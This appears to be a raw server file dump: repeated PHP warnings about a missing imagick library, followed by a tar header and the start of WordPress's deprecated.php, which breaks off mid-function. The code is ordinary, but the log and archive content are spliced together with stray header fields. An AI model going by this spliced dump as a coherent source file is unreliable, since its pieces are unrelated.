[28-Aug-2026 09:48:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:50:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:51:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:51:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:51:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:52:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:52:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:52:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:53:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:53:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
uploads/wyw/deprecated.php.tar000066600000574000152443022640012453 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/deprecated.php000064400000570204152442705230020710 0ustar00<?php
/**
 * Deprecated functions from past WordPress versions. You shouldn't use these
 * functions and look for the alternatives instead. The functions will be
 * removed in a later version.
 *
 * @package WordPress
 * @subpackage Deprecated
 */

/*
 * Deprecated functions come here to die.
 */

/**
 * Retrieves all post data for a given post.
 *
 * @since 0.71
 * @deprecated 1.5.1 Use get_post()
 * @see get_post()
 *
 * @param int $postid Post ID.
 * @return array Post data.
 */
function get_postdata($postid) {
	_deprecated_function( __FUNCTION__, '1.5.1', 'get_post()' );

	$post = get_post($postid);

	$postdata = array (
		'ID' => $post->ID,
		'Author_ID' => $post->post_author,
		'Date' => $post->post_date,
		'Content' => $post->post_content,
		'Excerpt' => $post->post_excerpt,
		'Title' => $post->post_title,
		'Category' => $post->post_category,
		'post_status' => $post->post_status,
		'comment_status' => $post->comment_status,
		'ping_status' => $post->ping_status,
		'post_password' => $post->post_password,
		'to_ping' => $post->to_ping,
		'pinged' => $post->pinged,
		'post_type' => $post->post_type,
		'post_name' => $post->post_name
	);

	return $postdata;
}

/**
 * Sets up the WordPress Loop.
 *
 * Use The Loop instead.
 *
 * @link https://developer.wordpress.org/themes/basics/the-loop/
 *
 * @since 1.0.1
 * @deprecated 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function start_wp() {
	global $wp_query;

	_deprecated_function( __FUNCTION__, '1.5.0', __('new WordPress Loop') );

	// Since the old style loop is being used, advance the query iterator here.
	$wp_query->next_post();

	setup_postdata( get_post() );
}

/**
 * Returns or prints a category ID.
 *
 * @since 0.71
 * @deprecated 0.71 Use get_the_category()
 * @see get_the_category()
 *
 * @param bool $display Optional. Whether to display the output. Default true.
 * @return int Category ID.
 */
function the_category_ID($display = true) {
	_deprecated_function( __FUNCTION__, '0.71', 'get_the_category()' );

	// Grab the first cat in the list.
	$categories = get_the_category();
	$cat = $categories[0]->term_id;

	if ( $display )
		echo $cat;

	return $cat;
}

/**
 * Prints a category with optional text before and after.
 *
 * @since 0.71
 * @deprecated 0.71 Use get_the_category_by_ID()
 * @see get_the_category_by_ID()
 *
 * @param string $before Optional. Text to display before the category. Default empty.
 * @param string $after  Optional. Text to display after the category. Default empty.
 */
function the_category_head( $before = '', $after = '' ) {
	global $currentcat, $previouscat;

	_deprecated_function( __FUNCTION__, '0.71', 'get_the_category_by_ID()' );

	// Grab the first cat in the list.
	$categories = get_the_category();
	$currentcat = $categories[0]->category_id;
	if ( $currentcat != $previouscat ) {
		echo $before;
		echo get_the_category_by_ID($currentcat);
		echo $after;
		$previouscat = $currentcat;
	}
}

/**
 * Prints a link to the previous post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use previous_post_link()
 * @see previous_post_link()
 *
 * @param string $format
 * @param string $previous
 * @param string $title
 * @param string $in_same_cat
 * @param int    $limitprev
 * @param string $excluded_categories
 */
function previous_post($format='%', $previous='previous post: ', $title='yes', $in_same_cat='no', $limitprev=1, $excluded_categories='') {

	_deprecated_function( __FUNCTION__, '2.0.0', 'previous_post_link()' );

	if ( empty($in_same_cat) || 'no' == $in_same_cat )
		$in_same_cat = false;
	else
		$in_same_cat = true;

	$post = get_previous_post($in_same_cat, $excluded_categories);

	if ( !$post )
		return;

	$string = '<a href="'.get_permalink($post->ID).'">'.$previous;
	if ( 'yes' == $title )
		$string .= apply_filters('the_title', $post->post_title, $post->ID);
	$string .= '</a>';
	$format = str_replace('%', $string, $format);
	echo $format;
}

/**
 * Prints link to the next post.
 *
 * @since 0.71
 * @deprecated 2.0.0 Use next_post_link()
 * @see next_post_link()
 *
 * @param string $format
 * @param string $next
 * @param string $title
 * @param string $in_same_cat
 * @param int $limitnext
 * @param string $excluded_categories
 */
function next_post($format='%', $next='next post: ', $title='yes', $in_same_cat='no', $limitnext=1, $excluded_categories='') {
	_deprecated_function( __FUNCTION__, '2.0.0', 'next_post_link()' );

	if ( empty($in_same_cat) || 'no' == $in_same_cat )
		$in_same_cat = false;
	else
		$in_same_cat = true;

	$post = get_next_post($in_same_cat, $excluded_categories);

	if ( !$post	)
		return;

	$string = '<a href="'.get_permalink($post->ID).'">'.$next;
	if ( 'yes' == $title )
		$string .= apply_filters('the_title', $post->post_title, $post->ID);
	$string .= '</a>';
	$format = str_replace('%', $string, $format);
	echo $format;
}

/**
 * Whether user can create a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $blog_id Not Used
 * @param int $category_id Not Used
 * @return bool
 */
function user_can_create_post($user_id, $blog_id = 1, $category_id = 'None') {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	return ($author_data->user_level > 1);
}

/**
 * Whether user can create a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $blog_id Not Used
 * @param int $category_id Not Used
 * @return bool
 */
function user_can_create_draft($user_id, $blog_id = 1, $category_id = 'None') {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	return ($author_data->user_level >= 1);
}

/**
 * Whether user can edit a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool
 */
function user_can_edit_post($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	$post = get_post($post_id);
	$post_author_data = get_userdata($post->post_author);

	if ( (($user_id == $post_author_data->ID) && !($post->post_status == 'publish' && $author_data->user_level < 2))
			|| ($author_data->user_level > $post_author_data->user_level)
			|| ($author_data->user_level >= 10) ) {
		return true;
	} else {
		return false;
	}
}

/**
 * Whether user can delete a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool
 */
function user_can_delete_post($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	// Right now if one can edit, one can delete.
	return user_can_edit_post($user_id, $post_id, $blog_id);
}

/**
 * Whether user can set new posts' dates.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $blog_id Not Used
 * @param int $category_id Not Used
 * @return bool
 */
function user_can_set_post_date($user_id, $blog_id = 1, $category_id = 'None') {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	return (($author_data->user_level > 4) && user_can_create_post($user_id, $blog_id, $category_id));
}

/**
 * Whether user can delete a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool returns true if $user_id can edit $post_id's date
 */
function user_can_edit_post_date($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$author_data = get_userdata($user_id);
	return (($author_data->user_level > 4) && user_can_edit_post($user_id, $post_id, $blog_id));
}

/**
 * Whether user can delete a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool returns true if $user_id can edit $post_id's comments
 */
function user_can_edit_post_comments($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	// Right now if one can edit a post, one can edit comments made on it.
	return user_can_edit_post($user_id, $post_id, $blog_id);
}

/**
 * Whether user can delete a post.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $post_id
 * @param int $blog_id Not Used
 * @return bool returns true if $user_id can delete $post_id's comments
 */
function user_can_delete_post_comments($user_id, $post_id, $blog_id = 1) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	// Right now if one can edit comments, one can delete comments.
	return user_can_edit_post_comments($user_id, $post_id, $blog_id);
}

/**
 * Can user can edit other user.
 *
 * @since 1.5.0
 * @deprecated 2.0.0 Use current_user_can()
 * @see current_user_can()
 *
 * @param int $user_id
 * @param int $other_user
 * @return bool
 */
function user_can_edit_user($user_id, $other_user) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'current_user_can()' );

	$user  = get_userdata($user_id);
	$other = get_userdata($other_user);
	if ( $user->user_level > $other->user_level || $user->user_level > 8 || $user->ID == $other->ID )
		return true;
	else
		return false;
}

/**
 * Gets the links associated with category $cat_name.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param string $cat_name         Optional. The category name to use. If no match is found, uses all.
 *                                 Default 'noname'.
 * @param string $before           Optional. The HTML to output before the link. Default empty.
 * @param string $after            Optional. The HTML to output after the link. Default '<br />'.
 * @param string $between          Optional. The HTML to output between the link/image and its description.
 *                                 Not used if no image or $show_images is true. Default ' '.
 * @param bool   $show_images      Optional. Whether to show images (if defined). Default true.
 * @param string $orderby          Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                                 'description', 'rating', or 'owner'. Default 'id'.
 *                                 If you start the name with an underscore, the order will be reversed.
 *                                 Specifying 'rand' as the order will return links in a random order.
 * @param bool   $show_description Optional. Whether to show the description if show_images=false/not defined.
 *                                 Default true.
 * @param bool   $show_rating      Optional. Show rating stars/chars. Default false.
 * @param int    $limit            Optional. Limit to X entries. If not specified, all entries are shown.
 *                                 Default -1.
 * @param int    $show_updated     Optional. Whether to show last updated timestamp. Default 0.
 */
function get_linksbyname($cat_name = "noname", $before = '', $after = '<br />', $between = " ", $show_images = true, $orderby = 'id',
						$show_description = true, $show_rating = false,
						$limit = -1, $show_updated = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	$cat_id = -1;
	$cat = get_term_by('name', $cat_name, 'link_category');
	if ( $cat )
		$cat_id = $cat->term_id;

	get_links($cat_id, $before, $after, $between, $show_images, $orderby, $show_description, $show_rating, $limit, $show_updated);
}

/**
 * Gets the links associated with the named category.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use wp_list_bookmarks()
 * @see wp_list_bookmarks()
 *
 * @param string $category The category to use.
 * @param string $args
 * @return string|null
 */
function wp_get_linksbyname($category, $args = '') {
	_deprecated_function(__FUNCTION__, '2.1.0', 'wp_list_bookmarks()');

	$defaults = array(
		'after' => '<br />',
		'before' => '',
		'categorize' => 0,
		'category_after' => '',
		'category_before' => '',
		'category_name' => $category,
		'show_description' => 1,
		'title_li' => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	return wp_list_bookmarks($parsed_args);
}

/**
 * Gets an array of link objects associated with category $cat_name.
 *
 *     $links = get_linkobjectsbyname( 'fred' );
 *     foreach ( $links as $link ) {
 *      	echo '<li>' . $link->link_name . '</li>';
 *     }
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param string $cat_name Optional. The category name to use. If no match is found, uses all.
 *                         Default 'noname'.
 * @param string $orderby  Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                         'description', 'rating', or 'owner'. Default 'name'.
 *                         If you start the name with an underscore, the order will be reversed.
 *                         Specifying 'rand' as the order will return links in a random order.
 * @param int    $limit    Optional. Limit to X entries. If not specified, all entries are shown.
 *                         Default -1.
 * @return array
 */
function get_linkobjectsbyname($cat_name = "noname" , $orderby = 'name', $limit = -1) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	$cat_id = -1;
	$cat = get_term_by('name', $cat_name, 'link_category');
	if ( $cat )
		$cat_id = $cat->term_id;

	return get_linkobjects($cat_id, $orderby, $limit);
}

/**
 * Gets an array of link objects associated with category n.
 *
 * Usage:
 *
 *     $links = get_linkobjects(1);
 *     if ($links) {
 *     	foreach ($links as $link) {
 *     		echo '<li>'.$link->link_name.'<br />'.$link->link_description.'</li>';
 *     	}
 *     }
 *
 * Fields are:
 *
 * - link_id
 * - link_url
 * - link_name
 * - link_image
 * - link_target
 * - link_category
 * - link_description
 * - link_visible
 * - link_owner
 * - link_rating
 * - link_updated
 * - link_rel
 * - link_notes
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param int    $category Optional. The category to use. If no category supplied, uses all.
 *                         Default 0.
 * @param string $orderby  Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                         'description', 'rating', or 'owner'. Default 'name'.
 *                         If you start the name with an underscore, the order will be reversed.
 *                         Specifying 'rand' as the order will return links in a random order.
 * @param int    $limit    Optional. Limit to X entries. If not specified, all entries are shown.
 *                         Default 0.
 * @return array
 */
function get_linkobjects($category = 0, $orderby = 'name', $limit = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	$links = get_bookmarks( array( 'category' => $category, 'orderby' => $orderby, 'limit' => $limit ) ) ;

	$links_array = array();
	foreach ($links as $link)
		$links_array[] = $link;

	return $links_array;
}

/**
 * Gets the links associated with category 'cat_name' and display rating stars/chars.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param string $cat_name         Optional. The category name to use. If no match is found, uses all.
 *                                 Default 'noname'.
 * @param string $before           Optional. The HTML to output before the link. Default empty.
 * @param string $after            Optional. The HTML to output after the link. Default '<br />'.
 * @param string $between          Optional. The HTML to output between the link/image and its description.
 *                                 Not used if no image or $show_images is true. Default ' '.
 * @param bool   $show_images      Optional. Whether to show images (if defined). Default true.
 * @param string $orderby          Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                                 'description', 'rating', or 'owner'. Default 'id'.
 *                                 If you start the name with an underscore, the order will be reversed.
 *                                 Specifying 'rand' as the order will return links in a random order.
 * @param bool   $show_description Optional. Whether to show the description if show_images=false/not defined.
 *                                 Default true.
 * @param int    $limit		       Optional. Limit to X entries. If not specified, all entries are shown.
 *                                 Default -1.
 * @param int    $show_updated     Optional. Whether to show last updated timestamp. Default 0.
 */
function get_linksbyname_withrating($cat_name = "noname", $before = '', $after = '<br />', $between = " ",
									$show_images = true, $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	get_linksbyname($cat_name, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
}

/**
 * Gets the links associated with category n and display rating stars/chars.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param int    $category         Optional. The category to use. If no category supplied, uses all.
 *                                 Default 0.
 * @param string $before           Optional. The HTML to output before the link. Default empty.
 * @param string $after            Optional. The HTML to output after the link. Default '<br />'.
 * @param string $between          Optional. The HTML to output between the link/image and its description.
 *                                 Not used if no image or $show_images is true. Default ' '.
 * @param bool   $show_images      Optional. Whether to show images (if defined). Default true.
 * @param string $orderby          Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                                 'description', 'rating', or 'owner'. Default 'id'.
 *                                 If you start the name with an underscore, the order will be reversed.
 *                                 Specifying 'rand' as the order will return links in a random order.
 * @param bool   $show_description Optional. Whether to show the description if show_images=false/not defined.
 *                                 Default true.
 * @param int    $limit		       Optional. Limit to X entries. If not specified, all entries are shown.
 *                                 Default -1.
 * @param int    $show_updated     Optional. Whether to show last updated timestamp. Default 0.
 */
function get_links_withrating($category = -1, $before = '', $after = '<br />', $between = " ", $show_images = true,
							$orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	get_links($category, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
}

/**
 * Gets the auto_toggle setting.
 *
 * @since 0.71
 * @deprecated 2.1.0
 *
 * @param int $id The category to get. If no category supplied uses 0
 * @return int Only returns 0.
 */
function get_autotoggle($id = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0' );
	return 0;
}

/**
 * Lists categories.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use wp_list_categories()
 * @see wp_list_categories()
 *
 * @param int $optionall
 * @param string $all
 * @param string $sort_column
 * @param string $sort_order
 * @param string $file
 * @param bool $list
 * @param int $optiondates
 * @param int $optioncount
 * @param int $hide_empty
 * @param int $use_desc_for_title
 * @param bool $children
 * @param int $child_of
 * @param int $categories
 * @param int $recurse
 * @param string $feed
 * @param string $feed_image
 * @param string $exclude
 * @param bool $hierarchical
 * @return null|false
 */
function list_cats($optionall = 1, $all = 'All', $sort_column = 'ID', $sort_order = 'asc', $file = '', $list = true, $optiondates = 0,
				$optioncount = 0, $hide_empty = 1, $use_desc_for_title = 1, $children=false, $child_of=0, $categories=0,
				$recurse=0, $feed = '', $feed_image = '', $exclude = '', $hierarchical=false) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_categories()' );

	$query = compact('optionall', 'all', 'sort_column', 'sort_order', 'file', 'list', 'optiondates', 'optioncount', 'hide_empty', 'use_desc_for_title', 'children',
		'child_of', 'categories', 'recurse', 'feed', 'feed_image', 'exclude', 'hierarchical');
	return wp_list_cats($query);
}

/**
 * Lists categories.
 *
 * @since 1.2.0
 * @deprecated 2.1.0 Use wp_list_categories()
 * @see wp_list_categories()
 *
 * @param string|array $args
 * @return null|string|false
 */
function wp_list_cats($args = '') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_categories()' );

	$parsed_args = wp_parse_args( $args );

	// Map to new names.
	if ( isset($parsed_args['optionall']) && isset($parsed_args['all']))
		$parsed_args['show_option_all'] = $parsed_args['all'];
	if ( isset($parsed_args['sort_column']) )
		$parsed_args['orderby'] = $parsed_args['sort_column'];
	if ( isset($parsed_args['sort_order']) )
		$parsed_args['order'] = $parsed_args['sort_order'];
	if ( isset($parsed_args['optiondates']) )
		$parsed_args['show_last_update'] = $parsed_args['optiondates'];
	if ( isset($parsed_args['optioncount']) )
		$parsed_args['show_count'] = $parsed_args['optioncount'];
	if ( isset($parsed_args['list']) )
		$parsed_args['style'] = $parsed_args['list'] ? 'list' : 'break';
	$parsed_args['title_li'] = '';

	return wp_list_categories($parsed_args);
}

/**
 * Deprecated method for generating a drop-down of categories.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use wp_dropdown_categories()
 * @see wp_dropdown_categories()
 *
 * @param int $optionall
 * @param string $all
 * @param string $orderby
 * @param string $order
 * @param int $show_last_update
 * @param int $show_count
 * @param int $hide_empty
 * @param bool $optionnone
 * @param int $selected
 * @param int $exclude
 * @return string
 */
function dropdown_cats($optionall = 1, $all = 'All', $orderby = 'ID', $order = 'asc',
		$show_last_update = 0, $show_count = 0, $hide_empty = 1, $optionnone = false,
		$selected = 0, $exclude = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_dropdown_categories()' );

	$show_option_all = '';
	if ( $optionall )
		$show_option_all = $all;

	$show_option_none = '';
	if ( $optionnone )
		$show_option_none = _x( 'None', 'Categories dropdown (show_option_none parameter)' );

	$vars = compact('show_option_all', 'show_option_none', 'orderby', 'order',
					'show_last_update', 'show_count', 'hide_empty', 'selected', 'exclude');
	$query = add_query_arg($vars, '');
	return wp_dropdown_categories($query);
}

/**
 * Lists authors.
 *
 * @since 1.2.0
 * @deprecated 2.1.0 Use wp_list_authors()
 * @see wp_list_authors()
 *
 * @param bool $optioncount
 * @param bool $exclude_admin
 * @param bool $show_fullname
 * @param bool $hide_empty
 * @param string $feed
 * @param string $feed_image
 * @return null|string
 */
function list_authors($optioncount = false, $exclude_admin = true, $show_fullname = false, $hide_empty = true, $feed = '', $feed_image = '') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_authors()' );

	$args = compact('optioncount', 'exclude_admin', 'show_fullname', 'hide_empty', 'feed', 'feed_image');
	return wp_list_authors($args);
}

/**
 * Retrieves a list of post categories.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use wp_get_post_categories()
 * @see wp_get_post_categories()
 *
 * @param int $blogid Not Used
 * @param int $post_id
 * @return array
 */
function wp_get_post_cats($blogid = '1', $post_id = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_get_post_categories()' );
	return wp_get_post_categories($post_id);
}

/**
 * Sets the categories that the post ID belongs to.
 *
 * @since 1.0.1
 * @deprecated 2.1.0
 * @deprecated Use wp_set_post_categories()
 * @see wp_set_post_categories()
 *
 * @param int $blogid Not used
 * @param int $post_id
 * @param array $post_categories
 * @return bool|mixed
 */
function wp_set_post_cats($blogid = '1', $post_id = 0, $post_categories = array()) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_set_post_categories()' );
	return wp_set_post_categories($post_id, $post_categories);
}

/**
 * Retrieves a list of archives.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use wp_get_archives()
 * @see wp_get_archives()
 *
 * @param string $type
 * @param string $limit
 * @param string $format
 * @param string $before
 * @param string $after
 * @param bool $show_post_count
 * @return string|null
 */
function get_archives($type='', $limit='', $format='html', $before = '', $after = '', $show_post_count = false) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_get_archives()' );
